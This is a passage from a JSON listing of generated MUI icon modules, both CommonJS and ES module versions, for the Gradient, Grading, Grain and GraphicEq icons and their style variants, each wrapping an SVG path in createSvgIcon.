    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9h2v2h-2zm-2 2h2v2H9zm4 0h2v2h-2zm2-2h2v2h-2zM7 9h2v2H7zm12-6H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 18H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zm2-7h-2v2h2v2h-2v-2h-2v2h-2v-2h-2v2H9v-2H7v2H5v-2h2v-2H5V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1z\"\n}), 'GradientRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GradientSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9h2v2h-2zm-2 2h2v2H9zm4 0h2v2h-2zm2-2h2v2h-2zM7 9h2v2H7zm14-6H3v18h18zM9 18H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zm2-7h-2v2h2v2h-2v-2h-2v2h-2v-2h-2v2H9v-2H7v2H5v-2h2v-2H5V5h14z\"\n}), 'GradientSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GradientSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9h2v2h-2zm-2 2h2v2H9zm4 0h2v2h-2zm2-2h2v2h-2zM7 9h2v2H7zm14-6H3v18h18zM9 18H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zm2-7h-2v2h2v2h-2v-2h-2v2h-2v-2h-2v2H9v-2H7v2H5v-2h2v-2H5V5h14z\"\n}), 'GradientSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GradientTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 11h2v2h-2zm6 10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2zM9 18H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zM5 13h2v-2H5V5h14v6h-2v2h2v2h-2v-2h-2v2h-2v-2h-2v2H9v-2H7v2H5zm2-4h2v2H7zm8 0h2v2h-2zm-4 0h2v2h-2zm-2 2h2v2H9z\"\n}), 'GradientTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GradientTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 11h2v2h-2zm6 10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2zM9 18H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zM5 13h2v-2H5V5h14v6h-2v2h2v2h-2v-2h-2v2h-2v-2h-2v2H9v-2H7v2H5zm2-4h2v2H7zm8 0h2v2h-2zm-4 0h2v2h-2zm-2 2h2v2H9z\"\n}), 'GradientTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grading.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7h16v2H4zm0 6h16v-2H4zm0 4h7v-2H4zm0 4h7v-2H4zm11.41-2.83L14 16.75l-1.41 1.41L15.41 21 20 16.42 18.58 15zM4 3v2h16V3z\"\n}), 'Grading');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grading.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7h16v2H4zm0 6h16v-2H4zm0 4h7v-2H4zm0 4h7v-2H4zm11.41-2.83L14 16.75l-1.41 1.41L15.41 21 20 16.42 18.58 15zM4 3v2h16V3z\"\n}), 'Grading');"
  },
  {
    "path": "packages/mui-icons-material/lib/GradingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7h16v2H4zm0 6h16v-2H4zm0 4h7v-2H4zm0 4h7v-2H4zm11.41-2.83L14 16.75l-1.41 1.41L15.41 21 20 16.42 18.58 15zM4 3v2h16V3z\"\n}), 'GradingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GradingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7h16v2H4zm0 6h16v-2H4zm0 4h7v-2H4zm0 4h7v-2H4zm11.41-2.83L14 16.75l-1.41 1.41L15.41 21 20 16.42 18.58 15zM4 3v2h16V3z\"\n}), 'GradingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GradingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 7h14c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1m0 6h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m0 4h5c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m0 4h5c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m10.41-2.83-.71-.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.42 1.42c.39.39 1.02.39 1.41 0l3.17-3.17c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0zM4 4c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1\"\n}), 'GradingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GradingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 7h14c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1m0 6h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m0 4h5c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m0 4h5c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m10.41-2.83-.71-.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.42 1.42c.39.39 1.02.39 1.41 0l3.17-3.17c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0zM4 4c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1\"\n}), 'GradingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GradingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7h16v2H4zm0 6h16v-2H4zm0 4h7v-2H4zm0 4h7v-2H4zm11.41-2.83L14 16.75l-1.41 1.41L15.41 21 20 16.42 18.58 15zM4 3v2h16V3z\"\n}), 'GradingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GradingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7h16v2H4zm0 6h16v-2H4zm0 4h7v-2H4zm0 4h7v-2H4zm11.41-2.83L14 16.75l-1.41 1.41L15.41 21 20 16.42 18.58 15zM4 3v2h16V3z\"\n}), 'GradingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GradingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7h16v2H4zm0 6h16v-2H4zm0 4h7v-2H4zm0 4h7v-2H4zm11.41-2.83L14 16.75l-1.41 1.41L15.41 21 20 16.42 18.58 15zM4 3v2h16V3z\"\n}), 'GradingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GradingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7h16v2H4zm0 6h16v-2H4zm0 4h7v-2H4zm0 4h7v-2H4zm11.41-2.83L14 16.75l-1.41 1.41L15.41 21 20 16.42 18.58 15zM4 3v2h16V3z\"\n}), 'GradingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grain.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 12c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-4 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'Grain');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grain.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 12c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-4 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'Grain');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrainOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 12c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-4 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'GrainOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrainOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 12c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-4 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'GrainOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrainRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 12c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-4 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'GrainRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrainRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 12c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-4 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'GrainRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrainSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 12c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-4 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'GrainSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrainSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 12c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-4 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'GrainSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrainTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m8 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0-12c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4 12c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-8 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'GrainTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrainTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m8 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-4 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0-12c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4 12c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-8 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'GrainTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GraphicEq.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18h2V6H7zm4 4h2V2h-2zm-8-8h2v-4H3zm12 4h2V6h-2zm4-8v4h2v-4z\"\n}), 'GraphicEq');"
  },
  {
    "path": "packages/mui-icons-material/lib/GraphicEq.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18h2V6H7zm4 4h2V2h-2zm-8-8h2v-4H3zm12 4h2V6h-2zm4-8v4h2v-4z\"\n}), 'GraphicEq');"
  },
  {
    "path": "packages/mui-icons-material/lib/GraphicEqOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18h2V6H7zm4 4h2V2h-2zm-8-8h2v-4H3zm12 4h2V6h-2zm4-8v4h2v-4z\"\n}), 'GraphicEqOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GraphicEqOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18h2V6H7zm4 4h2V2h-2zm-8-8h2v-4H3zm12 4h2V6h-2zm4-8v4h2v-4z\"\n}), 'GraphicEqOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GraphicEqRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 18c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1s-1 .45-1 1v10c0 .55.45 1 1 1m4 4c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1s-1 .45-1 1v18c0 .55.45 1 1 1m-8-8c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m12 4c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1s-1 .45-1 1v10c0 .55.45 1 1 1m3-7v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'GraphicEqRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GraphicEqRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 18c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1s-1 .45-1 1v10c0 .55.45 1 1 1m4 4c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1s-1 .45-1 1v18c0 .55.45 1 1 1m-8-8c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m12 4c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1s-1 .45-1 1v10c0 .55.45 1 1 1m3-7v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'GraphicEqRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GraphicEqSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18h2V6H7zm4 4h2V2h-2zm-8-8h2v-4H3zm12 4h2V6h-2zm4-8v4h2v-4z\"\n}), 'GraphicEqSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GraphicEqSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18h2V6H7zm4 4h2V2h-2zm-8-8h2v-4H3zm12 4h2V6h-2zm4-8v4h2v-4z\"\n}), 'GraphicEqSharp');"
  },
  {
